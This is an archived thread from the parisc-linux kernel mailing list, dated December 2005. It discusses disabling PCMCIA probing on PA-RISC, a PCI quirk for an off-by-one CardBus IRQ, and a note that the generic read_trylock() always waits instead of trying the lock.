> pccard: PCMCIA card inserted into slot 0
> [...]
> cs: memory probe 0xf0800000-0xf0ffffff: excluding 0xf0800000-0xf087ffff
> 0xf0900000-0xf09fffff 0xf0c00000-0xf0ffffff

> As you can see, we do get the cis memory probe occuring within the
> correct boundaries now.

Excellent. So is this patch OK? If yes, I'll try to get it into 2.6.16-rc1.

Thanks,
	Dominik


diff --git a/drivers/pcmcia/Kconfig b/drivers/pcmcia/Kconfig
index 309eb55..d07b01f 100644
--- a/drivers/pcmcia/Kconfig
+++ b/drivers/pcmcia/Kconfig
@@ -200,7 +200,7 @@ config PCMCIA_PXA2XX
 
 config PCMCIA_PROBE
 	bool
-	default y if ISA && !ARCH_SA1100 && !ARCH_CLPS711X
+	default y if ISA && !ARCH_SA1100 && !ARCH_CLPS711X && !PARISC
 
 config M32R_PCC
 	bool "M32R PCMCIA I/F"



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 14:23:43 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <1134332623.3367.11.camel@mulgrave>
References: <1133818340.3395.11.camel@mulgrave>
	 <20051205220344.GJ15201@flint.arm.linux.org.uk>
	 <1133829923.3262.1.camel@mulgrave>
	 <20051206093643.GA1706@flint.arm.linux.org.uk>
	 <1133876209.3267.2.camel@mulgrave>
	 <20051207122129.GA31601@isilmar.linta.de>
	 <20051211065023.GA7987@colo.lackof.org> <1134314073.3367.5.camel@mulgrave>
	 <20051211175004.GA22449@colo.lackof.org> <1134324062.3367.9.camel@mulgrave>
	 <20051211194804.GA31384@isilmar.linta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623951 17348 80.91.229.3 (22 Nov 2014 02:39:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:11 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Dominik Brodowski <linux@dominikbrodowski.net>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <James.Bottomley@SteelEye.com>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 20:23:48 -0000
Original-Received: from stat9.steeleye.com (EHLO hancock.sc.steeleye.com) [209.192.50.41]
  by mx0.gmx.net (mx021) with SMTP; 11 Dec 2005 21:23:48 +0100
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id jBBKNh225053;
	Sun, 11 Dec 2005 15:23:43 -0500
In-Reply-To: <20051211194804.GA31384@isilmar.linta.de>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g+/uY70zeSEkZ76WZHQhaXN1IGRvbwAG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23245

On Sun, 2005-12-11 at 20:48 +0100, Dominik Brodowski wrote:
> diff --git a/drivers/pcmcia/Kconfig b/drivers/pcmcia/Kconfig
> index 309eb55..d07b01f 100644
> --- a/drivers/pcmcia/Kconfig
> +++ b/drivers/pcmcia/Kconfig
> @@ -200,7 +200,7 @@ config PCMCIA_PXA2XX
>  
>  config PCMCIA_PROBE
>  	bool
> -	default y if ISA && !ARCH_SA1100 && !ARCH_CLPS711X
> +	default y if ISA && !ARCH_SA1100 && !ARCH_CLPS711X && !PARISC

Yes, that's what we have left in the parisc tree.

James




From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 14:37:57 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <1134333477.3367.16.camel@mulgrave>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	 <20051211175004.GA22449@colo.lackof.org> <1134324062.3367.9.camel@mulgrave>
	 <200512111955.09892.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623951 17351 80.91.229.3 (22 Nov 2014 02:39:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:11 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <James.Bottomley@SteelEye.com>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 20:37:58 -0000
Original-Received: from stat9.steeleye.com (EHLO hancock.sc.steeleye.com) [209.192.50.41]
  by mx0.gmx.net (mx062) with SMTP; 11 Dec 2005 21:37:58 +0100
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id jBBKbv225661;
	Sun, 11 Dec 2005 15:37:57 -0500
In-Reply-To: <200512111955.09892.deller@gmx.de>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cOvuY0g9eSEkTL6WZHQhaXN1IGRvbwCr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23246

On Sun, 2005-12-11 at 19:55 +0100, Helge Deller wrote:
> Seems ok, but I still have the "stuck IRQ" problem:

Hmm, perhaps the place to start for this is the firmware information:
In my system, the firmware actually disables the PCMCIA bridge (I assume
because it doesn't understand it).  That's why I added all the code to
dino to redo the entire PCI resource tree, so that it automatically
brings up the PCMCIA bridge.  However, your firmware should understand
the PCMCIA bridge, but it might have some other way of routing the IRQ.

James




From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 23:35:02 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <200512112335.03032.deller@gmx.de>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<200512111955.09892.deller@gmx.de>
	<1134333477.3367.16.camel@mulgrave>
Reply-To: Grant Grundler <grundler@parisc-linux.org>,
 James Bottomley <James.Bottomley@steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_XmKnDdMPQudcazS"
X-Trace: ger.gmane.org 1416623951 17354 80.91.229.3 (22 Nov 2014 02:39:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 22:35:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 11 Dec 2005 23:35:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F0437D77E;
	Sun, 11 Dec 2005 15:35:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30076-08; Sun, 11 Dec 2005 15:35:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16D307D77F;
	Sun, 11 Dec 2005 15:35:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CED9F7D77D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 15:35:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30076-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 15:35:10 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id CC9C87D77C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 15:35:09 -0700 (MST)
Original-Received: (qmail invoked by alias); 11 Dec 2005 22:35:05 -0000
Original-Received: from p54AD2981.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.41.129]
	by mail.gmx.net (mp018) with SMTP; 11 Dec 2005 23:35:05 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <1134333477.3367.16.camel@mulgrave>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[; fY@)WscF2iV7`,a$141g'o,7X
	?Bt1Wb:L7K6z-<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(e}
	`-QV{#%&[?^fAke6t8QbP; b'XB,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"
	["ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8szuY1F8eSEkdr6WZHQhaXN1IGRvb8Aa
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23247

--Boundary-00=_XmKnDdMPQudcazS
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Sunday 11 December 2005 21:37, James Bottomley wrote:
> On Sun, 2005-12-11 at 19:55 +0100, Helge Deller wrote:
> > Seems ok, but I still have the "stuck IRQ" problem:
> 
> Hmm, perhaps the place to start for this is the firmware information:
> In my system, the firmware actually disables the PCMCIA bridge (I assume
> because it doesn't understand it).  That's why I added all the code to
> dino to redo the entire PCI resource tree, so that it automatically
> brings up the PCMCIA bridge.  However, your firmware should understand
> the PCMCIA bridge, but it might have some other way of routing the IRQ.

Grant helped me to analyze this problem.
The pcmcia irq line seems to be allways off-by-one, e.g. PCI irq 25 got local irq 2 on dino which was wrong and should have become "1".
Grants comment on this was: "Sounds like we need a quirk in drivers/pci/quirks.c to deal with this."
 "or our algorithm for routing IRQ_PIN to INTERRUPT_LINE routing is broken."

Based on that I just created the attached patch. With it pcmcia now works for me.
Maybe you have an idea if something in dino is wrong ?

Helge

dmesg:
PCI: Cirrus Cardbus IRQ fixup for 0000:00:02.0, from 25 to 24 (old native irq=2)
Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
PCI: Bus 1, cardbus bridge: 0000:00:02.0
  IO window: 00000400-000005ff
  IO window: 00000800-000009ff
  PREFETCH window: f0c00000-f0ffffff
  MEM window: f0900000-f09fffff
Yenta: ISA IRQ mask 0x0000, PCI irq 24
Socket status: 30000007
pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
PCI: Cirrus Cardbus IRQ fixup for 0000:00:02.1, from 26 to 25 (old native irq=3)
Yenta: CardBus bridge found at 0000:00:02.1 [0000:0000]
PCI: Bus 5, cardbus bridge: 0000:00:02.1
  IO window: 00000c00-00000dff
  IO window: 00001000-000011ff
  PREFETCH window: f0a00000-f0afffff
  MEM window: f0b00000-f0bfffff
Yenta: ISA IRQ mask 0x0000, PCI irq 25
Socket status: 30000007
pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
ds: ds_open(socket 0)

--Boundary-00=_XmKnDdMPQudcazS
Content-Type: text/plain;
  charset="utf-8";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="diff"

Index: quirks.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/pci/quirks.c,v
retrieving revision 1.35
diff -u -p -r1.35 quirks.c
--- quirks.c	12 Nov 2005 04:08:03 -0000	1.35
+++ quirks.c	11 Dec 2005 22:22:58 -0000
@@ -862,6 +862,28 @@ static void __init quirk_eisa_bridge(str
 DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_INTEL,	PCI_DEVICE_ID_INTEL_82375,	quirk_eisa_bridge );
 
 /*
+ * Cirrus 6832 Cardbus reports wrong irq on RDI Tadpole PARISC Laptop.
+ */
+#if defined(CONFIG_PARISC)
+static void __devinit quirk_hp_cardbus(struct pci_dev *dev)
+{
+        u8 irq, new_irq;
+
+	new_irq = dev->irq - 1;
+        pci_read_config_byte(dev, PCI_INTERRUPT_LINE, &irq);
+
+	printk(KERN_ERR "PCI: Cirrus Cardbus IRQ fixup for %s, from %d to %d (old native irq=%d)\n",
+                        pci_name(dev), dev->irq, new_irq, irq);
+	dev->irq = new_irq;
+
+	udelay(15);     /* unknown if delay really needed */
+	pci_write_config_byte(dev, PCI_INTERRUPT_LINE, new_irq);
+
+}
+DECLARE_PCI_FIXUP_ENABLE(PCI_VENDOR_ID_CIRRUS,	PCI_DEVICE_ID_CIRRUS_6832,	quirk_hp_cardbus );
+#endif
+
+/*
  * On ASUS P4B boards, the SMBus PCI Device within the ICH2/4 southbridge
  * is not activated. The myth is that Asus said that they do not want the
  * users to be irritated by just another PCI Device in the Win98 device

--Boundary-00=_XmKnDdMPQudcazS
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_XmKnDdMPQudcazS--



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Owens <kaos@sgi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] generic read_trylock() never tries, it always waits
Date: Mon, 12 Dec 2005 15:55:38 +1100
Lines: 27
Approved: news@gmane.org
Message-ID: <9942.1134363338__30511.4151481122$1416623952$gmane$org@kao2.melbourne.sgi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623952 17355 80.91.229.3 (22 Nov 2014 02:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:12 +0000 (UTC)
Cc: linux-mips@linux-mips.org,
 linux-sh@m17n.org,
 takata@linux-m32r.org,
 davem@davemloft.net,
 lethal@linux-sh.org,
 rmk@arm.linux.org.uk,
 sparclinux@vger.kernel.org,
 linux-arm-kernel@lists.arm.linux.org.uk,
 parisc-linux@lists.parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Dec 2005 04:56:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 12 Dec 2005 05:56:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A7397D782;
	Sun, 11 Dec 2005 21:56:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31705-09; Sun, 11 Dec 2005 21:56:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 132927D785;
	Sun, 11 Dec 2005 21:56:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D0617D77F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 21:56:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31705-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 21:56:29 -0700 (MST)
Original-Received: from omx2.sgi.com (omx2-ext.sgi.com [192.48.171.19])
	by free.linux.hp.com (Postfix) with ESMTP id AF6977D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 21:56:29 -0700 (MST)
Original-Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com
	[134.14.52.130])
	by omx2.sgi.com (8.12.11/8.12.9/linux-outbound_gateway-1.1) with SMTP
	id jBC71EEO015846; Sun, 11 Dec 2005 23:01:15 -0800
Original-Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180])
	by larry.melbourne.sgi.com
	(950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA14165;
	Mon, 12 Dec 2005 15:55:38 +1100
X-Mailer: exmh version 2.6.3_20040314 03/14/2004 with nmh-1.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UWbvY8gkeSEkdr6WZHQhaXN1IGRvbwCl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23248

Copied to assorted architecture maintainers and mailing lists, please
trim cc: list back to lkml plus arch if you reply.

The generic version of read_trylock() never tests if the lock is in
use, it always spins waiting for the lock to be free.  IOW, it behaves
like read_lock().  Given the different implementations of rwlock_t, it
is hard for generic__raw_read_trylock() to do anything else.

I strongly recommend that the architectures below define their own
version of __raw_read_trylock() that really test the lock first, then
we can ditch generic__raw_read_trylock().  I have already sent an ia64
patch to that mailing list.

include/asm-arm/spinlock.h:#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)
include/asm-ia64/spinlock.h:#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)
include/asm-m32r/spinlock.h:#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)
include/asm-mips/spinlock.h:#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)
include/asm-parisc/spinlock.h:#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)
include/asm-sh/spinlock.h:#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)
include/asm-sparc64/spinlock.h:#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Mon, 12 Dec 2005 00:30:03 -0700
Lines: 129
Approved: news@gmane.org
Message-ID: <20051212073003.GA15901@colo.lackof.org>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<200512111955.09892.deller@gmx.de>
	<1134333477.3367.16.camel@mulgrave>
	<200512112335.03032.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623952 17358 80.91.229.3 (22 Nov 2014 02:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:12 +0000 (UTC)
Cc: Russell King <rmk+pcmcia@arm.linux.org.uk>,
 parisc-linux@lists.parisc-linux.org,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>,
 James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Dec 2005 07:21:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 12 Dec 2005 08:21:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C64BA7D799;
	Mon, 12 Dec 2005 00:21:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32646-04; Mon, 12 Dec 2005 00:21:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3D767D791;
	Mon, 12 Dec 2005 00:21:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BBB37D78E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 00:21:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32646-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 00:21:39 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D99697D78B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 00:21:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 72B3C360002;
	Mon, 12 Dec 2005 00:30:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23307-01; Mon, 12 Dec 2005 00:30:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C78F2360001; Mon, 12 Dec 2005 00:30:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200512112335.03032.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XEDvYwoieSEkN76WZHQhaXN1IGRvb4B6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23249

On Sun, Dec 11, 2005 at 11:35:02PM +0100, Helge Deller wrote:
> Grant helped me to analyze this problem.
> The pcmcia irq line seems to be allways off-by-one, e.g. PCI irq 25
> got local irq 2 on dino which was wrong and should have become "1".
> Grants comment on this was:
>  "Sounds like we need a quirk in drivers/pci/quirks.c to deal with this."

Before I propose the quirk to linux-pci, I need to know the scope of the
problem. Is this a problem only for that PCI slot on that box, for any
slot under dino, any PARISC PCI, or any PCI platform?

For starters, can someone test this on same card on a C3000 or A500?
Both of those use a routing table instead of magic values in PCI device
config registers.

# lspci -vs 00:02.0
0000:00:02.0 CardBus bridge: Cirrus Logic PD 6832 PCMCIA/CardBus Ctrlr (rev c1)
	Flags: bus master, medium devsel, latency 168, IRQ 25
	Memory at f0800000 (32-bit, non-prefetchable) [size=4K]
	Bus: primary=00, secondary=01, subordinate=04, sec-latency=176
	Memory window 0: f0c00000-f0fff000
	Memory window 1: f0900000-f09ff000
	I/O window 0: 00000400-000005ff
	I/O window 1: 00000800-000009ff
	16-bit legacy interface ports at 0001

